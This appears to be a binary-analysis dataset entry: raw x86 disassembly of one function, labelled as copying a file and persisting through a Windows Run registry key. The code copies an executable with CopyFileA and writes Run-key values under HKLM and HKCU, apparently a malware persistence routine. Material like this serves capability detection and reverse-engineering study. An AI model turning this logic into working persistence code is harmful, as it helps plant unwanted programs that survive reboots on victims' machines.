Function at 0x4090f0
Capabilities:
Copy file
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xf
push 0
push 0
dec ecx
jne 0x4090f8
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c04
xor eax, eax
push ebp
push 0x4095fd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004037cc
mov eax, dword [0x40f20c]
cmp dword [eax], 0
jne 0x40913f
lea eax, [ebp - 8]
call fcn.0040848c
jmp 0x4091d7
mov eax, dword [0x40f20c]
cmp dword [eax], 1
jne 0x409156
lea eax, [ebp - 8]
call fcn.00408518
jmp 0x4091d7
mov eax, dword [0x40f20c]
cmp dword [eax], 2
jne 0x40916a
lea eax, [ebp - 8]
call fcn.004085d0
jmp 0x4091d7
mov eax, dword [0x40f20c]
cmp dword [eax], 3
jne 0x40917e
lea eax, [ebp - 8]
call fcn.00408778
jmp 0x4091d7
mov eax, dword [0x40f234]
mov eax, dword [eax]
call fcn.00403a14
mov edx, dword [0x40f234]
mov edx, dword [edx]
cmp byte [edx + eax - 1], 0x5c
je 0x4091ad
mov eax, dword [0x40f234]
mov edx, 0x409614
call fcn.00403a1c
mov eax, dword [0x40f234]
lea eax, [ebp - 8]
mov edx, dword [0x40f234]
mov edx, dword [edx]
call fcn.00403810
mov eax, dword [ebp - 8]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x18]
call fcn.00403970
mov eax, dword [ebp - 0x18]
call fcn.00408c20
mov eax, dword [ebp - 8]
call fcn.00403a14
mov edx, dword [ebp - 8]
cmp byte [edx + eax - 1], 0x5c
je 0x4091f6
lea eax, [ebp - 8]
mov edx, 0x409614
call fcn.00403a1c
lea eax, [ebp - 8]
mov edx, dword [0x40f224]
mov edx, dword [edx]
call fcn.00403a1c
mov eax, dword [ebp - 8]
call fcn.00403a14
mov edx, dword [ebp - 8]
cmp byte [edx + eax - 1], 0x5c
je 0x409225
lea eax, [ebp - 8]
mov edx, 0x409614
call fcn.00403a1c
mov ecx, dword [0x40f228]
mov ecx, dword [ecx]
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00403a60
mov eax, dword [ebp - 8]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x1c]
call fcn.00403970
mov eax, dword [ebp - 0x1c]
call fcn.00408c20
mov eax, dword [ebp - 0xc]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x20]
call fcn.00403970
mov eax, dword [ebp - 0x20]
call fcn.00407fc4
lea eax, [ebp - 0x24]
call fcn.00408188
push dword [ebp - 0x24]
push 0x409614
mov eax, dword [0x40f224]
push dword [eax]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403ad4
mov eax, dword [ebp - 0x10]
call fcn.00403a14
mov edx, dword [ebp - 0x10]
cmp byte [edx + eax - 1], 0x5c
je 0x4092af
lea eax, [ebp - 0x10]
mov edx, 0x409614
call fcn.00403a1c
mov ecx, dword [0x40f228]
mov ecx, dword [ecx]
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00403a60
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.00406cf0
mov eax, dword [ebp - 0x28]
push eax
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 4]
call fcn.00406cf0
mov edx, dword [ebp - 0x2c]
pop eax
call fcn.00403b60
je 0x40930c
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x14]
call fcn.00406cf0
mov eax, dword [ebp - 0x30]
push eax
lea edx, [ebp - 0x34]
mov eax, dword [ebp - 4]
call fcn.00406cf0
mov edx, dword [ebp - 0x34]
pop eax
call fcn.00403b60
jne 0x40931b
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004037cc
jmp 0x4095e2
push 0
mov eax, dword [ebp - 0xc]
call fcn.00403c14
push eax
mov eax, dword [ebp - 4]
call fcn.00403c14
mov esi, eax
push esi
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40934c
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.004037cc
jmp 0x4093ab
mov eax, dword [ebp - 0x10]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x38]
call fcn.00403970
mov eax, dword [ebp - 0x38]
call fcn.00408c20
mov eax, dword [ebp - 0x14]
call fcn.00403c14
mov edi, eax
mov edx, edi
lea eax, [ebp - 0x3c]
call fcn.00403970
mov eax, dword [ebp - 0x3c]
call fcn.00407fc4
push 0
push edi
push esi
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x4093a1
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.004037cc
jmp 0x4093ab
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004037cc
mov eax, dword [0x40f208]
cmp dword [eax], 0
je 0x4094a7
push 0
lea eax, [ebp - 0x40]
push eax
mov eax, dword [0x40f208]
mov eax, dword [eax]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x44]
call fcn.00403970
mov ecx, dword [ebp - 0x44]
mov edx, 0x409620
mov eax, 0x80000002
call fcn.00408624
mov eax, dword [ebp - 0x40]
mov edx, dword [ebx]
call fcn.00403b60
je 0x409430
mov eax, dword [ebx]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x48]
call fcn.00403970
mov eax, dword [ebp - 0x48]
push eax
mov eax, dword [0x40f208]
mov eax, dword [eax]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x4c]
call fcn.00403970
mov ecx, dword [ebp - 0x4c]
mov edx, 0x409620
mov eax, 0x80000002
call fcn.004081e8
push 0
lea eax, [ebp - 0x50]
push eax
mov eax, dword [0x40f208]
mov eax, dword [eax]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x54]
call fcn.00403970
mov ecx, dword [ebp - 0x54]
mov edx, 0x409620
mov eax, 0x80000001
call fcn.00408624
mov eax, dword [ebp - 0x50]
mov edx, dword [ebx]
call fcn.00403b60
je 0x4094a7
mov eax, dword [ebx]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x58]
call fcn.00403970
mov eax, dword [ebp - 0x58]
push eax
mov eax, dword [0x40f208]
mov eax, dword [eax]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x5c]
call fcn.00403970
mov ecx, dword [ebp - 0x5c]
mov edx, 0x409620
mov eax, 0x80000001
call fcn.004081e8
mov eax, dword [0x40f1f4]
cmp dword [eax], 0
je 0x409528
push 0
lea eax, [ebp - 0x60]
push eax
mov eax, dword [0x40f1f4]
mov eax, dword [eax]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x64]
call fcn.00403970
mov ecx, dword [ebp - 0x64]
mov edx, 0x409668
mov eax, 0x80000002
call fcn.00408624
mov eax, dword [ebp - 0x60]
mov edx, dword [ebx]
call fcn.00403b60
je 0x409528
mov eax, dword [ebx]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x68]
call fcn.00403970
mov eax, dword [ebp - 0x68]
push eax
mov eax, dword [0x40f1f4]
mov eax, dword [eax]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x6c]
call fcn.00403970
mov ecx, dword [ebp - 0x6c]
mov edx, 0x409668
mov eax, 0x80000002
call fcn.004081e8
mov eax, dword [0x40f1fc]
cmp dword [eax], 0
je 0x4095a9
push 0
lea eax, [ebp - 0x70]
push eax
mov eax, dword [0x40f1fc]
mov eax, dword [eax]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x74]
call fcn.00403970
mov ecx, dword [ebp - 0x74]
mov edx, 0x409668
mov eax, 0x80000001
call fcn.00408624
mov eax, dword [ebp - 0x70]
mov edx, dword [ebx]
call fcn.00403b60
je 0x4095a9
mov eax, dword [ebx]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x78]
call fcn.00403970
mov eax, dword [ebp - 0x78]
push eax
mov eax, dword [0x40f1fc]
mov eax, dword [eax]
call fcn.00403c14
mov edx, eax
lea eax, [ebp - 0x7c]
call fcn.00403970
mov ecx, dword [ebp - 0x7c]
mov edx, 0x409668
mov eax, 0x80000001
call fcn.004081e8
mov eax, dword [0x40f200]
cmp dword [eax], 0
je 0x4095e2
push 0x409698
mov dl, 1
mov eax, dword [0x408d84]
call fcn.00408ddc
push eax
mov eax, dword [ebx]
call fcn.00403c14
push eax
mov eax, dword [0x40f200]
mov eax, dword [eax]
call fcn.00403c14
mov edx, eax
pop ecx
pop eax
call fcn.00409078
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409604
lea eax, [ebp - 0x7c]
mov edx, 0x1f
call fcn.0040379c
ret